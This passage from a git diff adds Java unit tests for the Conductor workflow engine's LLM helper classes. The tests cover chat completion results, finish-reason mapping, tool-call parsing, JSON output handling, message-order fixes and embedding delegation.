================================================================= + + @Test + void chatComplete_singleTextResult_setsResultAndUsage_andLogsTokens() { + StagedChatModel model = new StagedChatModel(); + model.stage(responseOf(new AssistantMessage("Paris"), "stop", metaWithUsage(11, 22, 33))); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.setInstructions("You are concise."); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "Capital of France?")); + + AtomicReference logged = new AtomicReference<>(); + + LLMResponse out = + helper.chatComplete(task("t1"), new FakeAIModel(model), in, null, logged::set); + + assertEquals("Paris", out.getResult(), "single response must be unwrapped to scalar"); + assertEquals("STOP", out.getFinishReason(), "finishReason 'stop' must uppercase to STOP"); + assertEquals(33, out.getTokenUsed()); + assertEquals(22, out.getCompletionTokens()); + assertEquals(11, out.getPromptTokens()); + assertNull(out.getReasoning()); + assertNull(out.getReasoningTokens()); + assertNull(out.getResponseId()); + assertNull(out.getToolCalls()); + + // Token-usage logger callback must fire with the same accounting. + TokenUsageLog log = logged.get(); + assertNotNull(log, "tokenUsageLogger consumer must be invoked"); + assertEquals("t1", log.getTaskId()); + assertEquals("fake-1", log.getApi()); + assertEquals("fake", log.getIntegrationName()); + assertEquals(33, log.getTotalTokens()); + + // The helper prepended a system instruction; verify it survived to the chat model. + Prompt sent = model.lastPrompt; + assertNotNull(sent); + List sentMessages = sent.getInstructions(); + assertTrue( + sentMessages.stream().anyMatch(m -> "You are concise.".equals(m.getText())), + "system instruction must reach the chat model"); + } + + // ================================================================= + // chatComplete — finishReason mapping for known synonyms + // ================================================================= + + @Test + void chatComplete_finishReasonMap_endTurn_translatesToSTOP() { + StagedChatModel model = new StagedChatModel(); + model.stage(responseOf(new AssistantMessage("done"), "end_turn", metaWithUsage(1, 1, 2))); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "ping")); + + LLMResponse out = + helper.chatComplete(task("t2"), new FakeAIModel(model), in, null, x -> {}); + assertEquals("STOP", out.getFinishReason(), "Anthropic 'end_turn' must map to STOP"); + } + + @Test + void chatComplete_finishReasonMap_refusal_translatesToCONTENT_FILTER() { + StagedChatModel model = new StagedChatModel(); + model.stage(responseOf(new AssistantMessage(""), "refusal", metaWithUsage(1, 0, 1))); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "...")); + + LLMResponse out = + helper.chatComplete(task("t3"), new FakeAIModel(model), in, null, x -> {}); + assertEquals( + "CONTENT_FILTER", + out.getFinishReason(), + "'refusal' must map onto OpenAI-style CONTENT_FILTER"); + } + + // ================================================================= + // chatComplete — reasoning + responseId surfaced from metadata + // ================================================================= + + @Test + void chatComplete_extractsReasoningAndResponseIdFromMetadata() { + ChatResponseMetadata meta = + ChatResponseMetadata.builder() + .usage(new DefaultUsage(5, 10, 15)) + .keyValue("response_id", "resp_abc") + .keyValue("reasoning", "Think hard, answer plainly.") + .keyValue("reasoning_tokens", 42) + .build(); + StagedChatModel model = new StagedChatModel(); + model.stage(responseOf(new AssistantMessage("answer"), "stop", meta)); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-reasoning"); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "go")); + + LLMResponse out = + helper.chatComplete(task("t4"), new FakeAIModel(model), in, null, x -> {}); + + assertEquals("resp_abc", out.getResponseId()); + assertEquals("Think hard, answer plainly.", out.getReasoning()); + assertEquals(42, out.getReasoningTokens()); + } + + @Test + void chatComplete_blankReasoning_isNormalizedToNull() { + // The helper must treat blank/empty reasoning strings as absent — surfacing them onto + // metadata["reasoning"] would lie to downstream code that uses non-null as the + // "model returned a summary" signal. + ChatResponseMetadata meta = + ChatResponseMetadata.builder() + .usage(new DefaultUsage(1, 1, 2)) + .keyValue("reasoning", " ") + .build(); + StagedChatModel model = new StagedChatModel(); + model.stage(responseOf(new AssistantMessage("x"), "stop", meta)); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "go")); + + LLMResponse out = + helper.chatComplete(task("t5"), new FakeAIModel(model), in, null, x -> {}); + assertNull(out.getReasoning(), "blank reasoning must collapse to null"); + } + + @Test + void chatComplete_reasoningTokensAcceptsLongFromMetadataRoundtrip() { + // ChatResponseMetadata stores arbitrary values; Jackson round-trips can land an int as + // a Long. The helper must accept any Number, not just Integer. + ChatResponseMetadata meta = + ChatResponseMetadata.builder() + .usage(new DefaultUsage(1, 1, 2)) + .keyValue("reasoning_tokens", 99L) + .build(); + StagedChatModel model = new StagedChatModel(); + model.stage(responseOf(new AssistantMessage("x"), "stop", meta)); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "go")); + + LLMResponse out = + helper.chatComplete(task("t6"), new FakeAIModel(model), in, null, x -> {}); + assertEquals(99, out.getReasoningTokens()); + } + + // ================================================================= + // chatComplete — tool_use round-trip + // ================================================================= + + @Test + void chatComplete_toolUseResponse_producesToolCallsAndMapsFinishReason() { + // Model returns an assistant message with a tool call instead of text. The helper + // must surface ``toolCalls`` on the LLMResponse, parse JSON arguments, attach a + // "method" key, look up the ToolSpec by name (to pick up integrationNames + type), + // and translate finishReason ``tool_use`` to TOOL_CALLS. + AssistantMessage.ToolCall call = + new AssistantMessage.ToolCall( + "call_1", "function", "get_weather", "{\"city\":\"Tokyo\"}"); + AssistantMessage assistant = + AssistantMessage.builder().content("").toolCalls(List.of(call)).build(); + StagedChatModel model = new StagedChatModel(); + model.stage(responseOf(assistant, "tool_use", metaWithUsage(5, 5, 10))); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "weather?")); + ToolSpec spec = new ToolSpec(); + spec.setName("get_weather"); + spec.setType("HTTP"); + spec.setIntegrationNames(Map.of("weather_api", "openweathermap")); + in.setTools(List.of(spec)); + + LLMResponse out = + helper.chatComplete(task("t7"), new FakeAIModel(model), in, null, x -> {}); + + assertEquals("TOOL_CALLS", out.getFinishReason()); + assertNotNull(out.getToolCalls(), "tool calls must be surfaced"); + assertEquals(1, out.getToolCalls().size()); + ToolCall tc = out.getToolCalls().getFirst(); + assertEquals("get_weather", tc.getName()); + assertEquals("call_1", tc.getTaskReferenceName(), "ToolCall id must propagate"); + assertEquals("HTTP", tc.getType(), "type must come from the matching ToolSpec"); + assertEquals("Tokyo", tc.getInputParameters().get("city")); + assertEquals( + "get_weather", + tc.getInputParameters().get("method"), + "helper must inject the method name into the tool args"); + assertEquals( + "openweathermap", + tc.getIntegrationNames().get("weather_api"), + "ToolSpec.integrationNames must be propagated"); + } + + @Test + void chatComplete_toolUseWithBlankId_generatesUuidTaskReferenceName() { + AssistantMessage.ToolCall call = + new AssistantMessage.ToolCall("", "function", "noop", "{}"); + AssistantMessage assistant = + AssistantMessage.builder().content("").toolCalls(List.of(call)).build(); + StagedChatModel model = new StagedChatModel(); + model.stage(responseOf(assistant, "tool_use", metaWithUsage(1, 1, 2))); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "do nothing")); + + LLMResponse out = + helper.chatComplete(task("t8"), new FakeAIModel(model), in, null, x -> {}); + assertNotNull(out.getToolCalls()); + String ref = out.getToolCalls().getFirst().getTaskReferenceName(); + assertNotNull(ref); + // UUID.toString() form is 36 chars including 4 dashes. + assertEquals(36, ref.length(), "blank tool-call id must be replaced by a UUID"); + } + + @Test + void chatComplete_toolUseWithMalformedArgsJson_yieldsArgsWithOnlyMethodKey() { + // Helper parses tool args via Jackson; a parse failure must be swallowed and the + // args reduced to just the synthetic ``method`` entry rather than blowing up the + // whole task. + AssistantMessage.ToolCall call = + new AssistantMessage.ToolCall("c1", "function", "noop", "not-json"); + AssistantMessage assistant = + AssistantMessage.builder().content("").toolCalls(List.of(call)).build(); + StagedChatModel model = new StagedChatModel(); + model.stage(responseOf(assistant, "tool_use", metaWithUsage(1, 1, 2))); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "noop")); + + LLMResponse out = + helper.chatComplete(task("t9"), new FakeAIModel(model), in, null, x -> {}); + Map args = out.getToolCalls().getFirst().getInputParameters(); + assertEquals(1, args.size()); + assertEquals("noop", args.get("method")); + } + + // ================================================================= + // chatComplete — JSON output path + // ================================================================= + + @Test + void chatComplete_jsonOutputTrueAndModelReturnsJson_parsesIntoMap() { + // jsonOutput=true is a hint to the LLM that drives extractResponse to parse text into + // a Map. The helper must surface the parsed map as ``result`` (single response is + // unwrapped to a single value). + StagedChatModel model = new StagedChatModel(); + model.stage( + responseOf( + new AssistantMessage("{\"name\":\"Conductor\",\"value\":42}"), + "stop", + metaWithUsage(1, 5, 6))); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.setJsonOutput(true); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "Return JSON.")); + + LLMResponse out = + helper.chatComplete(task("t10"), new FakeAIModel(model), in, null, x -> {}); + Object result = out.getResult(); + assertTrue(result instanceof Map, "json result must be parsed into a Map; was " + result); + @SuppressWarnings("unchecked") + Map asMap = (Map) result; + assertEquals("Conductor", asMap.get("name")); + assertEquals(42, asMap.get("value")); + } + + @Test + void chatComplete_jsonFenced_codeFence_isStripped() { + // Models often wrap JSON in ```json …``` fences. The helper must strip those before + // parsing — otherwise downstream code receives the raw fenced string. + StagedChatModel model = new StagedChatModel(); + model.stage( + responseOf( + new AssistantMessage("```json\n{\"k\":1}\n```"), + "stop", + metaWithUsage(1, 5, 6))); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.setJsonOutput(true); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "Return JSON in a fence.")); + + LLMResponse out = + helper.chatComplete(task("t11"), new FakeAIModel(model), in, null, x -> {}); + assertTrue( + out.getResult() instanceof Map, + "fenced JSON must still parse cleanly; result was: " + out.getResult()); + assertEquals(1, ((Map) out.getResult()).get("k")); + } + + @Test + void chatComplete_jsonOutputFalse_nonJsonText_isReturnedVerbatim() { + StagedChatModel model = new StagedChatModel(); + model.stage( + responseOf(new AssistantMessage("hello, world"), "stop", metaWithUsage(1, 5, 6))); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "Say hi.")); + + LLMResponse out = + helper.chatComplete(task("t12"), new FakeAIModel(model), in, null, x -> {}); + assertEquals("hello, world", out.getResult()); + } + + // ================================================================= + // chatComplete — message construction edge case (tool_call role) + // ================================================================= + + @Test + void chatComplete_priorToolCallMessageInHistory_isForwardedAsAssistantWithToolCalls() { + // Conductor's loop-history injection sometimes attaches a prior iteration's tool_call + // frame followed by a user turn back into the next request. The helper must convert + // that ChatMessage into a Spring AI AssistantMessage with toolCalls populated (rather + // than dropping it or treating it as a user turn). + // + // Note we place a real user message *after* the tool_call frame so the assistant + // frame isn't the last message — otherwise ``ensureLastMessageIsFromUser`` would + // strip it (a behavior we cover separately in LLMHelperTest). + StagedChatModel model = new StagedChatModel(); + model.stage(responseOf(new AssistantMessage("ok"), "stop", metaWithUsage(1, 1, 2))); + + ToolCall priorCall = + ToolCall.builder() + .taskReferenceName("call_99") + .name("get_weather") + .inputParameters( + new HashMap<>(Map.of("city", "Tokyo", "method", "get_weather"))) + .build(); + ChatMessage toolCallMsg = new ChatMessage(ChatMessage.Role.tool_call, priorCall); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.setMessages( + new ArrayList<>( + List.of( + new ChatMessage(ChatMessage.Role.user, "What's the weather?"), + toolCallMsg, + new ChatMessage(ChatMessage.Role.user, "Anything else?")))); + + // Calling the helper drives constructMessage(tool_call) via the public chatComplete. + LLMResponse out = + helper.chatComplete(task("t13"), new FakeAIModel(model), in, null, x -> {}); + assertNotNull(out); + + // Pick the assistant frame out of the sent prompt and verify the conversion worked. + List sent = model.lastPrompt.getInstructions(); + AssistantMessage asst = + sent.stream() + .filter(m -> m instanceof AssistantMessage) + .map(m -> (AssistantMessage) m) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "expected at least one AssistantMessage in sent" + + " prompt; was: " + + sent)); + assertTrue( + asst.hasToolCalls(), + "tool_call role must be converted into an AssistantMessage with toolCalls;" + + " got: " + + asst); + AssistantMessage.ToolCall converted = asst.getToolCalls().getFirst(); + assertEquals("call_99", converted.id(), "ToolCall.taskReferenceName must become id"); + assertEquals( + "get_weather", + converted.name(), + "tool name must surface either from the 'method' key or the ToolCall.name"); + } + + // ================================================================= + // chatComplete — empty response result-set + // ================================================================= + + @Test + void chatComplete_emptyGenerationList_returnsSerializedResponseAsResult() { + // Spring AI may emit a ChatResponse with zero generations (e.g. content-filter + // refusal). The helper must not NPE on getFirst(); it should serialize the + // ChatResponse JSON and surface that as a string ``result`` plus usage. + StagedChatModel model = new StagedChatModel(); + ChatResponse empty = new ChatResponse(List.of(), metaWithUsage(2, 0, 2)); + model.stage(empty); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "go")); + + AtomicReference logged = new AtomicReference<>(); + LLMResponse out = + helper.chatComplete(task("t14"), new FakeAIModel(model), in, null, logged::set); + assertNotNull(out.getResult()); + assertEquals(2, out.getTokenUsed()); + assertNotNull(logged.get(), "token-usage logger must still fire on empty-result path"); + } + + // ================================================================= + // chatComplete — null ChatResponse path + // ================================================================= + + @Test + void chatComplete_chatClientReturnsNull_propagatesAsRuntimeException() { + // Defensive contract: if the underlying ChatClient returns no response object at all, + // the helper must raise a clear RuntimeException rather than silently producing an + // LLMResponse with an empty/null result. + StagedChatModel model = new StagedChatModel(); + model.stage(null); + + ChatCompletion in = new ChatCompletion(); + in.setLlmProvider("fake"); + in.setModel("fake-1"); + in.getMessages().add(new ChatMessage(ChatMessage.Role.user, "ping")); + + RuntimeException thrown = + org.junit.jupiter.api.Assertions.assertThrows( + RuntimeException.class, + () -> + helper.chatComplete( + task("t15"), new FakeAIModel(model), in, null, x -> {})); + assertTrue( + thrown.getMessage().contains("No response generated"), + "expected the 'No response generated' guard; got: " + thrown.getMessage()); + } + + // ================================================================= + // generateEmbeddings — passthrough to the underlying AIModel + // ================================================================= + + @Test + void generateEmbeddings_delegatesToAIModel() { + // Helper is a thin shell around AIModel.generateEmbeddings — but the wrapper is still + // worth pinning so a future refactor that adds caching / batching has a baseline + // contract to compare against. + List staged = List.of(0.1f, 0.2f, 0.3f); + AIModel fake = + new FakeAIModel(new StagedChatModel()) { + @Override + public List generateEmbeddings(EmbeddingGenRequest req) { + return staged; + } + }; + EmbeddingGenRequest req = new EmbeddingGenRequest(); + req.setText("hello"); + List got = helper.generateEmbeddings(task("t16"), fake, req, x -> {}); + assertSame(staged, got); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/LLMHelperTest.java b/ai/src/test/java/org/conductoross/conductor/ai/LLMHelperTest.java new file mode 100644 index 0000000..ecb74f4 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/LLMHelperTest.java @@ -0,0 +1,429 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.springframework.ai.chat.messages.AssistantMessage; +import org.springframework.ai.chat.messages.Message; +import org.springframework.ai.chat.messages.SystemMessage; +import org.springframework.ai.chat.messages.UserMessage; + +import static org.junit.jupiter.api.Assertions.*; + +public class LLMHelperTest { + + private LLMHelper llm; + + @BeforeEach + void setUp() { + // Create a test instance - we'll use reflection to test private methods + llm = new LLMHelper(null, null); + } + + @Test + void testParseNestedJsonStringsWithSimpleNestedJson() throws Exception { + // Test the parseNestedJsonStrings method using reflection + Map input = new HashMap<>(); + input.put("query", ""); + input.put("filter", "{\"value\":\"page\"}"); + input.put("simple", "value"); + + @SuppressWarnings("unchecked") + Map result = llm.parseNestedJsonStrings(input); + + // Verify that the JSON string was parsed into an object + assertNotNull(result); + assertEquals("", result.get("query")); + assertEquals("value", result.get("simple")); + + // The filter should be parsed from string to Map + Object filter = result.get("filter"); + assertTrue(filter instanceof Map); + @SuppressWarnings("unchecked") + Map filterMap = (Map) filter; + assertEquals("page", filterMap.get("value")); + } + + @Test + void testParseNestedJsonStringsWithDeeplyNestedJson() throws Exception { + Map input = new HashMap<>(); + input.put( + "user", + "{\"profile\":{\"preferences\":{\"theme\":\"dark\",\"notifications\":{\"email\":true}}}}"); + input.put("simple", "value"); + + @SuppressWarnings("unchecked") + Map result = llm.parseNestedJsonStrings(input); + + assertNotNull(result); + assertEquals("value", result.get("simple")); + + // The user should be parsed into a nested structure + Object user = result.get("user"); + assertTrue(user instanceof Map); + @SuppressWarnings("unchecked") + Map userMap = (Map) user; + + Object profile = userMap.get("profile"); + assertTrue(profile instanceof Map); + @SuppressWarnings("unchecked") + Map profileMap = (Map) profile; + + Object preferences = profileMap.get("preferences"); + assertTrue(preferences instanceof Map); + @SuppressWarnings("unchecked") + Map preferencesMap = (Map) preferences; + + assertEquals("dark", preferencesMap.get("theme")); + + Object notifications = preferencesMap.get("notifications"); + assertTrue(notifications instanceof Map); + @SuppressWarnings("unchecked") + Map notificationsMap = (Map) notifications; + + assertEquals(true, notificationsMap.get("email")); + } + + @Test + void testParseNestedJsonStringsWithArrayJson() throws Exception { + Map input = new HashMap<>(); + input.put("items", "[{\"id\":1,\"name\":\"test\"},{\"id\":2,\"name\":\"test2\"}]"); + input.put("simple", "value"); + + @SuppressWarnings("unchecked") + Map result = llm.parseNestedJsonStrings(input); + + assertNotNull(result); + assertEquals("value", result.get("simple")); + + // The items should be parsed into a List + Object items = result.get("items"); + assertTrue(items instanceof List); + @SuppressWarnings("unchecked") + List itemsList = (List) items; + + assertEquals(2, itemsList.size()); + + // First item should be a Map + Object firstItem = itemsList.get(0); + assertTrue(firstItem instanceof Map); + @SuppressWarnings("unchecked") + Map firstItemMap = (Map) firstItem; + assertEquals(1, firstItemMap.get("id")); + assertEquals("test", firstItemMap.get("name")); + } + + @Test + void testParseNestedJsonStringsWithMixedDataTypes() throws Exception { + Map input = new HashMap<>(); + input.put("string", "simple string"); + input.put("number", 42); + input.put("boolean", true); + input.put("jsonString", "{\"nested\":\"value\"}"); + input.put("arrayString", "[1,2,3]"); + input.put("nestedMap", Map.of("key", "value")); + + @SuppressWarnings("unchecked") + Map result = llm.parseNestedJsonStrings(input); + + assertNotNull(result); + assertEquals("simple string", result.get("string")); + assertEquals(42, result.get("number")); + assertEquals(true, result.get("boolean")); + + // JSON strings should be parsed + Object jsonString = result.get("jsonString"); + assertTrue(jsonString instanceof Map); + @SuppressWarnings("unchecked") + Map jsonStringMap = (Map) jsonString; + assertEquals("value", jsonStringMap.get("nested")); + + // Array strings should be parsed + Object arrayString = result.get("arrayString"); + assertTrue(arrayString instanceof List); + @SuppressWarnings("unchecked") + List arrayList = (List) arrayString; + assertEquals(3, arrayList.size()); + assertEquals(1, arrayList.get(0)); + assertEquals(2, arrayList.get(1)); + assertEquals(3, arrayList.get(2)); + + // Nested maps should be preserved + Object nestedMap = result.get("nestedMap"); + assertTrue(nestedMap instanceof Map); + @SuppressWarnings("unchecked") + Map nestedMapMap = (Map) nestedMap; + assertEquals("value", nestedMapMap.get("key")); + } + + @Test + void testParseNestedJsonStringsWithInvalidJson() throws Exception { + Map input = new HashMap<>(); + input.put("validJson", "{\"key\":\"value\"}"); + input.put("invalidJson", "not a json string"); + input.put("emptyString", ""); + + @SuppressWarnings("unchecked") + Map result = llm.parseNestedJsonStrings(input); + + assertNotNull(result); + + // Valid JSON should be parsed + Object validJson = result.get("validJson"); + assertTrue(validJson instanceof Map); + @SuppressWarnings("unchecked") + Map validJsonMap = (Map) validJson; + assertEquals("value", validJsonMap.get("key")); + + // Invalid JSON should remain as string + assertEquals("not a json string", result.get("invalidJson")); + assertEquals("", result.get("emptyString")); + } + + @Test + void testIsJsonString() throws Exception { + + // Test valid JSON strings + assertTrue(llm.isJsonString("{\"key\":\"value\"}")); + assertTrue(llm.isJsonString("[1,2,3]")); + assertTrue(llm.isJsonString("{\"nested\":{\"key\":\"value\"}}")); + + // Test invalid JSON strings + assertFalse(llm.isJsonString("not json")); + assertFalse(llm.isJsonString("")); + assertFalse(llm.isJsonString(null)); + assertFalse(llm.isJsonString("123")); + assertFalse(llm.isJsonString("true")); + } + + @Test + void testExtractMethodFromInputParametersWithDynamicKey() { + // Test the exact structure from the example + Map inputParameters = new HashMap<>(); + Map nestedMap = new HashMap<>(); + nestedMap.put("method", "jira-getIssue"); + nestedMap.put("integrationName", "Jira"); + nestedMap.put("issueIdOrKey", "CDX-436"); + inputParameters.put("toolu_01YDpSHJ9NQKE452s7Mhvy5L", nestedMap); + + String method = llm.extractMethodFromInputParameters(inputParameters); + assertEquals("jira-getIssue", method); + } + + @Test + void testExtractMethodFromInputParametersWithNullInput() { + String method = llm.extractMethodFromInputParameters(null); + assertNull(method); + } + + @Test + void testExtractMethodFromInputParametersWithEmptyMap() { + Map inputParameters = new HashMap<>(); + String method = llm.extractMethodFromInputParameters(inputParameters); + assertNull(method); + } + + @Test + void testExtractMethodFromInputParametersWithoutMethodKey() { + Map inputParameters = new HashMap<>(); + Map nestedMap = new HashMap<>(); + nestedMap.put("integrationName", "Jira"); + nestedMap.put("issueIdOrKey", "CDX-436"); + inputParameters.put("toolu_01YDpSHJ9NQKE452s7Mhvy5L", nestedMap); + + String method = llm.extractMethodFromInputParameters(inputParameters); + assertNull(method); + } + + @Test + void testExtractMethodFromInputParametersWithNonMapValues() { + Map inputParameters = new HashMap<>(); + inputParameters.put("key1", "string value"); + inputParameters.put("key2", 123); + inputParameters.put("key3", List.of("item1", "item2")); + + String method = llm.extractMethodFromInputParameters(inputParameters); + assertNull(method); + } + + @Test + void testExtractMethodFromInputParametersWithMultipleEntries() { + // Test with multiple entries, method is in the second one + Map inputParameters = new HashMap<>(); + Map firstMap = new HashMap<>(); + firstMap.put("otherKey", "otherValue"); + inputParameters.put("firstKey", firstMap); + + Map secondMap = new HashMap<>(); + secondMap.put("method", "slack-sendMessage"); + secondMap.put("channel", "#general"); + inputParameters.put("secondKey", secondMap); + + String method = llm.extractMethodFromInputParameters(inputParameters); + assertEquals("slack-sendMessage", method); + } + + @Test + void testExtractMethodFromInputParametersWithMethodAsString() { + Map inputParameters = new HashMap<>(); + Map nestedMap = new HashMap<>(); + nestedMap.put("method", "github-createIssue"); + inputParameters.put("dynamicKey", nestedMap); + + String method = llm.extractMethodFromInputParameters(inputParameters); + assertEquals("github-createIssue", method); + } + + @Test + void testExtractMethodFromInputParametersWithMethodAsInteger() { + // Method value should be converted to string + Map inputParameters = new HashMap<>(); + Map nestedMap = new HashMap<>(); + nestedMap.put("method", 12345); + inputParameters.put("dynamicKey", nestedMap); + + String method = llm.extractMethodFromInputParameters(inputParameters); + assertEquals("12345", method); + } + + @Test + void testExtractMethodFromInputParametersWithMethodAsNull() { + Map inputParameters = new HashMap<>(); + Map nestedMap = new HashMap<>(); + nestedMap.put("method", null); + inputParameters.put("dynamicKey", nestedMap); + + String method = llm.extractMethodFromInputParameters(inputParameters); + assertNull(method); + } + + @Test + void testExtractMethodFromInputParametersWithMixedStructure() { + // Mix of map and non-map values, method is in one of the maps + Map inputParameters = new HashMap<>(); + inputParameters.put("stringKey", "string value"); + inputParameters.put("numberKey", 42); + + Map nestedMap = new HashMap<>(); + nestedMap.put("method", "custom-action"); + nestedMap.put("param1", "value1"); + inputParameters.put("toolKey", nestedMap); + + String method = llm.extractMethodFromInputParameters(inputParameters); + assertEquals("custom-action", method); + } + + @Test + void testExtractMethodFromInputParametersWithDeepNesting() { + // Test that it only looks at the first level of nesting + Map inputParameters = new HashMap<>(); + Map nestedMap = new HashMap<>(); + Map deepNestedMap = new HashMap<>(); + deepNestedMap.put("method", "deep-method"); + nestedMap.put("deep", deepNestedMap); + inputParameters.put("outerKey", nestedMap); + + // Should not find method because it's nested too deep + String method = llm.extractMethodFromInputParameters(inputParameters); + assertNull(method); + } + + @Test + void testExtractMethodFromInputParametersWithMultipleMapsFirstHasMethod() { + // Test that it returns the first method found + Map inputParameters = new HashMap<>(); + + Map firstMap = new HashMap<>(); + firstMap.put("method", "first-method"); + inputParameters.put("firstKey", firstMap); + + Map secondMap = new HashMap<>(); + secondMap.put("method", "second-method"); + inputParameters.put("secondKey", secondMap); + + String method = llm.extractMethodFromInputParameters(inputParameters); + // Should return the first method found (order may vary, but should return one of them) + assertNotNull(method); + assertTrue(method.equals("first-method") || method.equals("second-method")); + } + + @Test + void testEnsureLastMessageIsFromUser_replacesWhenLastIsAssistant() { + List messages = new ArrayList<>(); + messages.add(new UserMessage("Hello")); + messages.add(new AssistantMessage("I will help you with")); + + llm.ensureLastMessageIsFromUser(messages); + + // Assistant message replaced with user message containing partial text + assertEquals(2, messages.size()); + assertInstanceOf(UserMessage.class, messages.getLast()); + assertTrue(messages.getLast().getText().contains("I will help you with")); + assertTrue(messages.getLast().getText().contains("continue where you left off")); + } + + @Test + void testEnsureLastMessageIsFromUser_appendsWhenLastIsSystem() { + List messages = new ArrayList<>(); + messages.add(new SystemMessage("You are a helpful assistant")); + + llm.ensureLastMessageIsFromUser(messages); + + assertEquals(2, messages.size()); + assertInstanceOf(UserMessage.class, messages.getLast()); + assertEquals("Please continue where you left off.", messages.getLast().getText()); + } + + @Test + void testEnsureLastMessageIsFromUser_noChangeWhenLastIsUser() { + List messages = new ArrayList<>(); + messages.add(new SystemMessage("You are a helpful assistant")); + messages.add(new UserMessage("Hello")); + + llm.ensureLastMessageIsFromUser(messages); + + assertEquals(2, messages.size()); + assertInstanceOf(UserMessage.class, messages.getLast()); + assertEquals("Hello", messages.getLast().getText()); + } + + @Test + void testEnsureLastMessageIsFromUser_noChangeWhenEmpty() { + List messages = new ArrayList<>(); + + llm.ensureLastMessageIsFromUser(messages); + + assertTrue(messages.isEmpty()); + } + + @Test + void testEnsureLastMessageIsFromUser_multipleAssistantMessages() { + List messages = new ArrayList<>(); + messages.add(new UserMessage("Summarize this document")); + messages.add(new AssistantMessage("The document discusses")); + messages.add(new AssistantMessage("continuing from where I left off")); + + llm.ensureLastMessageIsFromUser(messages); + + // Last assistant message replaced, middle one stays + assertEquals(3, messages.size()); + assertInstanceOf(UserMessage.class, messages.getLast()); + assertTrue(messages.getLast().getText().contains("continuing from where I left off")); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/LLMsTest.java b/ai/src/test/java/org/conductoross/conductor/ai/LLMsTest.java new file mode 100644 index 0000000..b935fee --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/LLMsTest.java @@ -0,0 +1,82 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai; + +import java.util.List; + +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.metadata.tasks.Task; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.*; + +class LLMsTest { + + private AIModelProvider mockModelProvider; + private LLMs llms; + private AIModel mockModel; + + @BeforeEach + void setUp() { + mockModelProvider = mock(AIModelProvider.class); + mockModel = mock(AIModel.class); + when(mockModelProvider.getPayloadStoreLocation()).thenReturn("/tmp/test-payload"); + when(mockModelProvider.getModel(any())).thenReturn(mockModel); + + llms = new LLMs(List.of(), null, mockModelProvider, new okhttp3.OkHttpClient()); + } + + @Test + void testConstructor_setsPayloadStoreLocation() { + assertEquals("/tmp/test-payload", llms.payloadStoreLocation); + } + + @Test + void testGenerateEmbeddings_delegatesToModel() { + Task mockTask = mock(Task.class); + when(mockTask.getWorkflowInstanceId()).thenReturn("wf-1"); + when(mockTask.getTaskId()).thenReturn("task-1"); + + List expectedEmbeddings = List.of(0.1f, 0.2f, 0.3f); + when(mockModel.generateEmbeddings(any())).thenReturn(expectedEmbeddings); + + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setLlmProvider("openai"); + + List result = llms.generateEmbeddings(mockTask, request); + + assertEquals(expectedEmbeddings, result); + verify(mockModel).generateEmbeddings(request); + } + + @Test + void testGenerateEmbeddings_usesCorrectProvider() { + Task mockTask = mock(Task.class); 